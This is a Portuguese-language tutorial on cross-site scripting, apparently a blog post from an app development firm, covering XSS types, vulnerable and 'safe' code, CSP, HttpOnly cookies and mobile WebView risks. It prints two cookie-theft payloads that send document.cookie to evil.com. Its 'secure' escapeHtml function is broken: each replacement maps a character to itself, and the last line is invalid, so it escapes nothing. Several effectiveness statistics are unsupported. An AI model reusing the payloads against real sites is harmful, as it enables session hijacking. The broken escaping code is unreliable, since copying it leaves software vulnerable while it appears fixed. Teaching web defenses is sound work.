XSS (Cross-Site Scripting) é um tipo de vulnerabilidade de aplicações web onde um atacante injeta código JavaScript malicioso no conteúdo exibido a outros usuários. De acordo com o OWASP Top Ten (2025), o XSS continua sendo uma das vulnerabilidades mais comuns, afetando mais de 60% das aplicações web. O Cross-Site Scripting permite roubar cookies de sessão, redirecionar usuários para sites de phishing e modificar o conteúdo das páginas em tempo real.
Pontos principais
XSS (Cross-Site Scripting) é uma vulnerabilidade que permite a um atacante injetar código JavaScript em uma página web, que é então executado no navegador da vítima. O navegador carrega a página de um site confiável e executa o script injetado com os mesmos privilégios do código legítimo do site. Isso dá ao atacante acesso a cookies, armazenamento de sessão, à árvore DOM da página e a capacidade de enviar solicitações em nome da vítima. As vulnerabilidades XSS ocorrem quando uma aplicação insere dados do usuário em uma página HTML sem escapamento adequado ou validação.
O termo Cross-Site Scripting apareceu pela primeira vez em 2000 em um boletim de segurança da Microsoft. Nos últimos 25 anos, o XSS não perdeu relevância: de acordo com a HackerOne (2025), o XSS representa cerca de 22% de todas as vulnerabilidades registradas na plataforma. A razão para a persistência do XSS é a dificuldade de controlar todos os pontos de entrada de dados do usuário. Qualquer campo de entrada, parâmetro URL, cabeçalho de solicitação HTTP ou nome de arquivo pode se tornar um vetor de ataque se os dados forem refletidos no código HTML sem processamento.
Os ataques XSS podem levar ao roubo de cookies de sessão, permitindo que um atacante faça login na conta da vítima sem senha. Outras consequências incluem: redirecionamento para sites de phishing, adulteração do conteúdo da página, roubo de dados pessoais e instalação de malware (drive-by download). Em 2023, um ataque XSS na plataforma Salesforce Community Cloud afetou dados de milhares de clientes empresariais, demonstrando que mesmo grandes plataformas não estão imunes a esta vulnerabilidade.
A classificação XSS divide os ataques em três tipos principais com base no método de entrega do código malicioso. Cada tipo requer uma abordagem diferente de proteção: Stored XSS é bloqueado escapando a saída do banco de dados, Reflected — escapando parâmetros URL, DOM-based — trabalhando de forma segura com a API DOM. Entender a diferença é a base de uma estratégia de segurança eficaz.
| Tipo | Armazenamento do script | Vetor de entrega | Dificuldade de detecção |
|---|---|---|---|
| Stored XSS | Banco de dados do servidor | Comentários, perfis, mensagens | Média |
| Reflected XSS | Parâmetros URL | Links de phishing, email | Alta |
| DOM-based XSS | JavaScript do lado do cliente | Fragmentos URL, postMessage | Muito alta |
O tipo mais perigoso de XSS. Um atacante injeta um script em dados que o servidor armazena em um banco de dados e exibe a cada carregamento de página. Um vetor típico é o campo de comentários: o atacante publica um comentário com <script>document.location='https://evil.com/?c='+document.cookie</script>. Cada usuário que carrega a página com este comentário envia seus cookies para o atacante. O Stored XSS não requer nenhuma ação da vítima além de visitar a página — o que o torna especialmente perigoso para redes sociais, fóruns e blogs.
O script malicioso é passado em uma solicitação HTTP (geralmente em um parâmetro URL) e é imediatamente refletido pelo servidor na resposta. O atacante cria um link como https://example.com/search?q=<script>...</script> e o distribui por phishing, redes sociais ou email. A vítima, ao clicar no link, recebe uma página onde a consulta de pesquisa inserida (script) é exibida sem escapamento. O Reflected XSS requer engenharia social — a vítima deve clicar no link, o que reduz mas não elimina o risco.
Ao contrário do Stored e Reflected, o DOM-based XSS não requer o envio de dados ao servidor. A vulnerabilidade ocorre quando o JavaScript do lado do cliente insere dados do usuário da URL, document.referrer, postMessage ou localStorage no DOM sem processamento seguro. Por exemplo, código como document.getElementById('output').innerHTML = location.hash.substring(1) executa qualquer HTML e scripts do fragmento URL (#<img onerror='...'>). O DOM-based XSS é o mais difícil de detectar porque o servidor nunca recebe o payload malicioso — ele é completamente processado no cliente.
// Exemplo de DOM-based XSS (CÓDIGO VULNERÁVEL)
// Se userInput = "<img src=x onerror='fetch(`https://evil.com/`+document.cookie)'>"
const userInput = new URLSearchParams(
window.location.search
).get('message');
// document.write — perigoso: insere HTML bruto
document.write('<div>' + userInput + '</div>');
// ALTERNATIVA SEGURA — use textContent
document.getElementById('output').textContent = userInput;
O XSS explora uma propriedade fundamental da web: o navegador executa JavaScript recebido de um domínio confiável. Se um atacante encontrar uma maneira de injetar seu código na resposta HTML do servidor, o navegador o executa com os mesmos privilégios do código legítimo. O ataque passa por três fases: injeção de código malicioso no conteúdo, entrega do conteúdo ao navegador da vítima e execução do código com acesso ao DOM, cookies e armazenamento.
O atacante encontra um ponto de entrada — um campo, parâmetro URL ou cabeçalho cujo valor o servidor inclui na resposta HTML sem escapamento. Os pontos de entrada típicos incluem: barras de pesquisa, campos de comentários, nome de usuário, URL de avatar, cookies, cabeçalhos HTTP (User-Agent, Referer). Os frameworks modernos (React, Angular, Vue) escapam a saída automaticamente, mas os desenvolvedores podem desabilitar o escapamento através de dangerouslySetInnerHTML, bypassSecurityTrustHtml ou v-html.
Para Reflected XSS, o atacante distribui o link malicioso. Para Stored XSS, basta publicar conteúdo no site alvo, e cada visitante da página se torna uma vítima. O DOM-based XSS é ativado quando uma página é carregada com um fragmento URL específico. Todas as três fases podem ser automatizadas: se XSS for descoberto em um banner publicitário (conteúdo de terceiros), o ataque afetará todos os usuários do site até que o banner seja removido.
// Exemplo de Reflected XSS em pesquisa (BACKEND VULNERÁVEL)
// Em vez de escapar o parâmetro q, o servidor o insere em HTML
// Express.js — manipulador vulnerável:
app.get('/search', (req, res) => {
const query = req.query.q; // entrada do usuário
res.send(`<h1>Results for: ${query}</h1>`);
});
// VERSÃO SEGURA — escapamento via encodeURI ou motor de template:
app.get('/search', (req, res) => {
const query = escapeHtml(req.query.q);
res.send(`<h1>Results for: ${query}</h1>`);
});
function escapeHtml(text) {
return text
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''');
}
As aplicações móveis também são suscetíveis a ataques XSS, embora em menor grau do que os sites. O principal vetor é o WebView e os frameworks híbridos (Cordova, Capacitor, React Native com WebView). Se o aplicativo carregar conteúdo web no WebView — especialmente conteúdo do usuário (email HTML, artigos, mensagens) — uma vulnerabilidade XSS pode levar à execução de JavaScript dentro do aplicativo com acesso a funções nativas através da ponte JavaScript.
O Android WebView executa JavaScript por padrão. Se o aplicativo carregar uma string HTML através de loadDataWithBaseURL() ou exibir conteúdo do usuário, um ataque XSS pode dar ao atacante acesso à interface JavaScript (addJavascriptInterface). O Google proibiu o uso de @JavascriptInterface para API < 17, mas o código legado em aplicativos antigos ainda existe. Proteção: desative o JavaScript no WebView se não for necessário e use navegação segura.
O React Native não usa WebView para UI — os componentes são renderizados em visualizações nativas. No entanto, ao exibir HTML através de react-native-webview ou componentes de rich-text, o risco XSS retorna. O Flutter usa seu próprio motor de renderização (Skia) e não suporta JavaScript em widgets HTML (flutter_html não executa tags script), mas os plugins WebView (webview_flutter) são vulneráveis de forma semelhante aos WebViews nativos. Melhor prática — nunca passe HTML não verificado para o WebView.
// Configuração segura de WebView no Android
val webView = findViewById<WebView>(R.id.webview)
// Desative JavaScript se a interatividade não for necessária
webView.settings.javaScriptEnabled = false
// Sanitize HTML antes de carregar
val sanitizedHtml = Jsoup.clean(userHtml,
Whitelist.basic()
.removeProtocols("img", "src", "javascript")
)
webView.loadDataWithBaseURL(null, sanitizedHtml,
"text/html", "UTF-8", null)
A proteção contra XSS é construída em três princípios: não confie na entrada do usuário, escape antes da saída, use Content Security Policy. A codificação de saída é o método mais importante: todos os dados recebidos do usuário devem ser escapados antes de serem inseridos em HTML, JavaScript, CSS ou URL. Os motores de template modernos (Twig, Handlebars, JSX, Blade) fazem isso automaticamente, a menos que o desenvolvedor desabilite o escapamento com métodos especiais.
O escapamento depende do contexto de inserção dos dados. No contexto HTML, <, >, & e aspas são escapados. No contexto JavaScript, são escapados acentos graves,
e </script>. No contexto CSS — caracteres de controle. No contexto URL — codificação URL. Um erro de contexto — por exemplo, inserir uma string escapada para HTML em um atributo onclick — não protege contra XSS porque onclick é executado em um contexto JavaScript onde é necessário um escapamento diferente.
CSP é um cabeçalho HTTP que limita as fontes das quais o navegador pode carregar scripts, estilos e outros recursos. Uma CSP estrita (sem unsafe-inline, sem unsafe-eval) bloqueia a execução de qualquer script inline, incluindo vetores XSS. De acordo com o Google Security Blog (2025), sites com CSP bloqueiam 95% dos ataques XSS. Exemplo: Content-Security-Policy: default-src 'self'; script-src 'self' proíbe qualquer script externo e inline. O CSP não protege contra Stored XSS se o script for carregado do mesmo domínio, mas isso requer esforço adicional do atacante.
Definir o sinalizador HttpOnly para cookies impede o acesso a eles via JavaScript (document.cookie), bloqueando o roubo de cookies de sessão através de XSS. O sinalizador Secure garante que o cookie seja transmitido apenas por HTTPS. A combinação HttpOnly + Secure + SameSite=Lax torna o roubo de cookies de sessão via XSS praticamente impossível. No entanto, o XSS ainda pode realizar ações em nome do usuário (por exemplo, enviar solicitações), então HttpOnly não é uma panaceia, mas parte de uma defesa abrangente.
| Método de proteção | Protege contra tipos XSS | Eficácia |
|---|---|---|
| Escapamento de saída | Stored, Reflected, DOM-based | 99% |
| CSP | XSS inline, baseado em eval | 95% |
| Cookie HttpOnly | Roubo de sessão via XSS | 100% (não legível) |
| Validação de entrada | Stored, Reflected | 50% (depende do tipo) |
| TRUSTED TYPES | DOM-based (innerHTML) | 90% |
O teste regular de XSS é uma parte obrigatória do pipeline CI/CD de desenvolvimento seguro. Os scanners automatizados encontram até 80% das vulnerabilidades XSS; o restante requer teste de penetração manual. A melhor abordagem é uma combinação de análise SAST (estática), varredura DAST (dinâmica) e revisão de código com foco nos pontos de entrada de dados do usuário.
Para aplicações móveis, o teste XSS inclui análise de WebView: verificação de interfaces JavaScript, manipulação de esquemas URL e passagem de HTML para loadDataWithBaseURL. Recomenda-se também testar o manuseio de postMessage em aplicações híbridas e verificar quais dados são transmitidos através da ponte JavaScript. Use um emulador com um proxy (Burp Suite) para interceptar e modificar o tráfego do aplicativo móvel.
Perguntas frequentes
Stored XSS armazena o script malicioso no servidor (no banco de dados) e é acionado a cada carregamento de página. Reflected XSS passa o script por um parâmetro URL, e o ataque é acionado apenas ao clicar no link malicioso. Stored é mais perigoso porque não requer nenhuma ação da vítima — basta abrir a página infectada.
Não, o HTTPS não protege contra XSS. O HTTPS criptografa o tráfego entre o navegador e o servidor, mas não afeta o manuseio da entrada do usuário no lado do servidor. A vulnerabilidade XSS existe no nível da aplicação, não no transporte. HTTPS é um mínimo de segurança obrigatório, mas não uma defesa contra XSS.
Na maioria dos casos, o XSS é executado dentro da sandbox do navegador ou WebView e não tem acesso ao sistema de arquivos ou hardware do dispositivo. No entanto, no Android WebView com interface JavaScript habilitada, um script XSS pode chamar métodos nativos da aplicação. No iOS, o WKWebView também pode expor dados através do JavaScriptCore se a ponte apropriada estiver configurada.
Use Burp Suite ou OWASP ZAP com um proxy configurado no dispositivo móvel. Intercepte as solicitações da aplicação, modifique os parâmetros e envie payloads XSS. Verifique o WebView para manipulação de HTML através de loadDataWithBaseURL e a presença de pontes JavaScript. Para React Native, teste os componentes WebView separadamente.
DOM-based XSS é um ataque onde o JavaScript da página pega dados da URL ou de outras fontes e os insere em HTML sem validação. O servidor não participa — o código malicioso é processado inteiramente no navegador. Um exemplo típico: um site pega texto de location.hash e o insere via innerHTML, permitindo que qualquer código HTML seja executado.
Resumo
Vamos desenvolver um aplicativo móvel chave na mão
A IT Sectr cria aplicativos para iOS e Android para startups e empresas desde 2017. Nós vamos aconselhá-lo e propor a melhor solução.
Leia também